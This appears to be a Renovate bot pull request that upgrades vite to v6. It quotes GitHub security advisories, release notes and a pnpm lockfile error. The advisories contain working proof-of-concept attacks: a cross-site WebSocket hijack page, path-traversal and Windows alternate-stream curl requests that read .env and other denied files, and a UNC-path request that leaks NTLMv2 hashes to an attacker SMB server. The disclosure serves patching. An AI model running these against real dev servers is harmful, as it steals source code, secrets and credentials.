Update dependency vite to v6 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	^5.4.9 → ^6.0.0

---

Websites were able to send any requests to the development server and read the response in vite

CVE-2025-24010 / GHSA-vg6x-rcgg-rjx6

More information

Details

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

[!WARNING]
This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

• Using the backend integration feature
• Using a reverse proxy in front of Vite
• Accessing the development server via a domain other than localhost or *.localhost
• Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

• fix the plugin / framework code to the make it compatible with the new version of Vite
• set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
  • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
4. The user edits some files.
5. Vite sends some HMR messages over WebSocket.
6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
2. The user accesses the malicious web page.
3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

• get the source code stolen by malicious websites
• give the attacker access to functionalities that are not supposed to be exposed externally
  • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

• get the source code stolen by malicious websites
• give the attacker access to functionalities that are not supposed to be exposed externally
  • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

1. I used the react template which utilizes HMR functionality.

npm create vite@latest my-vue-app-react -- --template react

2. Then on a malicious server, serve the following POC html:

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>

3. Kick off Vite

npm run dev

4. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
5. Edit src/App.jsx file and intentionally place a syntax error
6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6
• https://nvd.nist.gov/vuln/detail/CVE-2025-24010
• https://github.com/advisories/GHSA-vg6x-rcgg-rjx6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite's server.fs settings were not applied to HTML files

CVE-2025-58752 / GHSA-jqfw-vq24-v9c3

More information

Details

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Severity

• CVSS Score: 2.3 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3
• https://nvd.nist.gov/vuln/detail/CVE-2025-58752
• https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f
• https://github.com/vitejs/vite/commit/14015d794f69accba68798bd0e15135bc51c9c1e
• https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea
• https://github.com/vitejs/vite/commit/6f01ff4fe072bcfcd4e2a84811772b818cd51fe6
• https://github.com/vitejs/vite/blob/v7.1.5/packages/vite/CHANGELOG.md
• https://github.com/advisories/GHSA-jqfw-vq24-v9c3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite middleware may serve files starting with the same name with the public directory

CVE-2025-58751 / GHSA-g4jq-h2w9-997c

More information

Details

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• uses the public directory feature (enabled by default)
• a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

• lukeed/sirv@f0113f3

Severity

• CVSS Score: 2.3 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c
• https://nvd.nist.gov/vuln/detail/CVE-2025-58751
• https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb
• https://github.com/vitejs/vite/commit/09f2b52e8d5907f26602653caf41b3a56692600d
• https://github.com/vitejs/vite/commit/4f1c35bcbb5830290c694aa14b6789e07450f069
• https://github.com/vitejs/vite/commit/63e2a5d232218f3f8d852056751e609a5367aaec
• https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0
• https://github.com/advisories/GHSA-g4jq-h2w9-997c

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

vite allows server.fs.deny bypass via backslash on Windows

CVE-2025-62522 / GHSA-93m4-6634-74q7

More information

Details

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

Severity

• CVSS Score: 6.0 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7
• https://github.com/vitejs/vite/commit/f479cc57c425ed41ceb434fecebd63931b1ed4ed
• https://nvd.nist.gov/vuln/detail/CVE-2025-62522
• https://github.com/advisories/GHSA-93m4-6634-74q7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@​fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/advisories/GHSA-4w7w-66w2-5vf9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://github.com/advisories/GHSA-fx2h-pf6j-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/advisories/GHSA-v6wh-96g9-6wx3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitejs/vite (vite)

v6.4.3

Compare Source

Please refer to CHANGELOG.md for details.

v6.4.2

Compare Source

Please refer to CHANGELOG.md for details.

v6.4.1

Compare Source

Please refer to CHANGELOG.md for details.

v6.4.0

Compare Source

Please refer to CHANGELOG.md for details.

v6.3.7

Compare Source

Please refer to CHANGELOG.md for details.

v6.3.6

Compare Source

Please refer to CHANGELOG.md for details.

v6.3.5

Compare Source

Today, we're excited to announce the release of the next Vite major:

• Vite 7.0 announcement blog post
• Docs (translations: 简体中文, 日本語, Español, Português, 한국어, Deutsch, فارسی)
• Migration Guide

⚠ BREAKING CHANGES

• ssr: don't access Object variable in ssr transformed code (#​19996)
• remove experimental.skipSsrTransform option (#​20038)
• remove HotBroadcaster (#​19988)
• css: always use sass compiler API (#​19978)
• bump build.target and name it baseline-widely-available (#​20007)
• bump required node version to 20.19+, 22.12+ and remove cjs build (#​20032)
• css: remove sass legacy API support (#​19977)
• remove deprecated HotBroadcaster related types (#​19987)
• remove deprecated no-op type only properties (#​19985)
• remove node 18 support (#​19972)
• remove deprecated hook-level enforce/transform from transformIndexHtml hook (#​19349)
• remove deprecated splitVendorChunkPlugin (#​19255)

Features

• types: use terser types from terser package (#​20274) (a5799fa)
• apply some middlewares before configurePreviewServer hook (#​20224) (b989c42)
• apply some middlewares before configureServer hook (#​20222) (f5cc4c0)
• add base option to import.meta.glob (#​20163) (253d6c6)
• add this.meta.viteVersion (#​20088) (f55bf41)
• allow passing down resolved config to vite's createServer (#​19894) (c1ae9bd)
• buildApp hook (#​19971) (5da659d)
• build: provide names for asset entrypoints (#​19912) (c4e01dc)
• bump build.target and name it baseline-widely-available (#​20007) (4a8aa82)
• client: support opening fileURL in editor (#​20040) (1bde4d2)
• make PluginContext available for Vite-specific hooks (#​19936) (7063839)
• resolve environments plugins at config time (#​20120) (f6a28d5)
• stabilize css.preprocessorMaxWorkers and default to true (#​19992) (70aee13)
• stabilize optimizeDeps.noDiscovery (#​19984) (6d2dcb4)

Bug Fixes

• deps: update all non-major dependencies (#​20271) (6b64d63)
• keep import.meta.url in bundled Vite (#​20235) (3bf3a8a)
• module-runner: export ssrExportNameKey (#​20266) (ac302a7)
• module-runner: expose normalizeModuleId (#​20277) (9b98dcb)
• deps: update all non-major dependencies (#​20181) (d91d4f7)
• deps: update all non-major dependencies (#​20212) (a80339b)
• align dynamic import detection (#​20115) (1ea2222)
• applyToEnvironment after configResolved (#​20170) (a330b80)
• deps: update all non-major dependencies (#​20141) (89ca65b)
• handle dynamic import with .then(m => m.a) (#​20117) (7b7410a)
• hmr: use monotonicDateNow for timestamp (#​20158) (8d26785)
• optimizer: align relative build.rollupOptions.input resolution with rollup (#​20080) (9759c29)
• ssr: don't access Object variable in ssr transformed code (#​19996) (fceff60)
• types: prefer sass-embedded types over sass types for preprocessorOptions.sass (fix #​20150) (#​20166) (7db56be)
• virtual svg module (#​20144) (7dfcb31)
• client: render the last part of the stacktrace (#​20039) (c7c1743)
• cli: make cleanGlobalCLIOptions() clean --force (#​19999) (d4a171a)
• css: remove alias exclude logic from rebaseUrl (#​20100) (44c6d01)
• css: sass rebase url in relative imported modules (#​20067) (261fad9)
• css: should not wrap with double quote when the url rebase feature bailed out (#​20068) (a33d0c7)
• deps: update all non-major dependencies (#​19953) (ac8e1fb)
• deps: update all non-major dependencies (#​20061) (7b58856)
• importing an optional peer dep should throw an runtime error (#​20029) (d0221cd)
• merge environments.*.resolve.noExternal properly (#​20077) (daf4a25)
• merge server.allowedHosts: true correctly (#​20138) (2ade756)
• optimizer: non object module.exports for Node builtin modules in CJS external facade (#​20048) (00ac6e4)
• optimizer: show error when computeEntries failed (#​20079) (b742b46)
• treat all optimizeDeps.entries values as globs (#​20045) (1422395)
• types: expose additional PluginContext types (#​20129) (b6df9aa)

Performance Improvements

• utils: improve performance of numberToPos (#​20244) (3f46901)

Documentation

• tiny typo (#​20110) (d20fc2c)

Miscellaneous Chores

• "indentity" → "identity" in test description (#​20225) (ea9aed7)
• deps: update rolldown-related dependencies (#​20270) (f7377c3)
• typos in comments (#​20259) (b135918)
• deps: update rolldown-related dependencies (#​20182) (6172f41)
• deps: update rolldown-related dependencies (#​20211) (b13b7f5)
• add a way to disable source maps when developing Vite (#​20168) (3a30c0a)
• deps: update rolldown-related dependencies (#​20140) (0387447)
• fix source map support when developing Vite (#​20167) (279ab0d)
• use destructuring alias in buildEnvironment function (#​19472) (501572a)
• declare version range for peer dependencies (#​19979) (c9bfd57)
• deprecate ResolvedConfig.createResolver and recommend createIdResolver (#​20031) (d101d64)
• fix comment for devEnvironmentOptions.moduleRunnerTransform (#​20035) (338081d)
• generate dts internally by rolldown-plugin-dts (#​20093) (a66afa3)
• remove deprecated splitVendorChunkPlugin (#​19255) (91a92c7)
• remove node 18 support (#​19972) (00b8a98)
• remove redundant word in comment (#​20139) (9b2964d)
• remove unused deps (#​20097) (d11ae6b)
• rename rollup to rolldown where appropriate (#​20096) (306e250)
• speed up typechecking (#​20131) (a357c19)
• use plugin hooks filter for patch-types plugin for bundling vite (#​20089) (c127955)
• use rolldown to bundle Vite itself (#​19925) (7753b02)
• use rolldown-plugin-dts for dts bundling (#​19990) (449d7f3)

Code Refactoring

• worker: set virtual file content in load hook (#​20160) (0d60667)
• bump required node version to 20.19+, 22.12+ and remove cjs build (#​20032) (2b80243)
• css: always use sass compiler API (#​19978) (3bfe5c5)
• css: remove sass legacy API support (#​19977) (6eaccc9)
• merge src/node/publicUtils.ts to src/node/index.ts (#​20086) (999a1ed)
• remove experimental.skipSsrTransform option (#​20038) (6c3dd8e)
• remove HotBroadcaster (#​19988) (cda8c94)
• remove options?.ssr support in clientInjectionsPlugin ([#​19589](https://redi

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⚠️ Artifact update problem

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The artifact failure details are included below:

File name: linkbase/pnpm-lock.yaml

warn: This version of pnpm requires at least Node.js v22.13
warn: The current version of Node.js is v20.18.1
warn: Visit https://r.pnpm.io/comp to see the list of past pnpm versions with respective Node.js version support.
node:internal/modules/cjs/loader:1044
      throw new ERR_UNKNOWN_BUILTIN_MODULE(request);
            ^

Error [ERR_UNKNOWN_BUILTIN_MODULE]: No such built-in module: node:sqlite
    at Module._load (node:internal/modules/cjs/loader:1044:13)
    at Module.require (node:internal/modules/cjs/loader:1311:19)
    at require (node:internal/modules/helpers:179:18)
    at ../store/index/lib/index.js (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:54590:25)
    at __init (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:17:58)
    at ../resolving/npm-resolver/lib/index.js (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:65700:5)
    at __init (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:17:58)
    at ../workspace/projects-graph/lib/index.js (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:65838:5)
    at __init (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:17:58)
    at ../workspace/projects-filter/lib/index.js (file:///opt/containerbase/tools/pnpm/11.9.0/20.18.1/node_modules/pnpm/dist/pnpm.mjs:73232:5) {
  code: 'ERR_UNKNOWN_BUILTIN_MODULE'
}

Node.js v20.18.1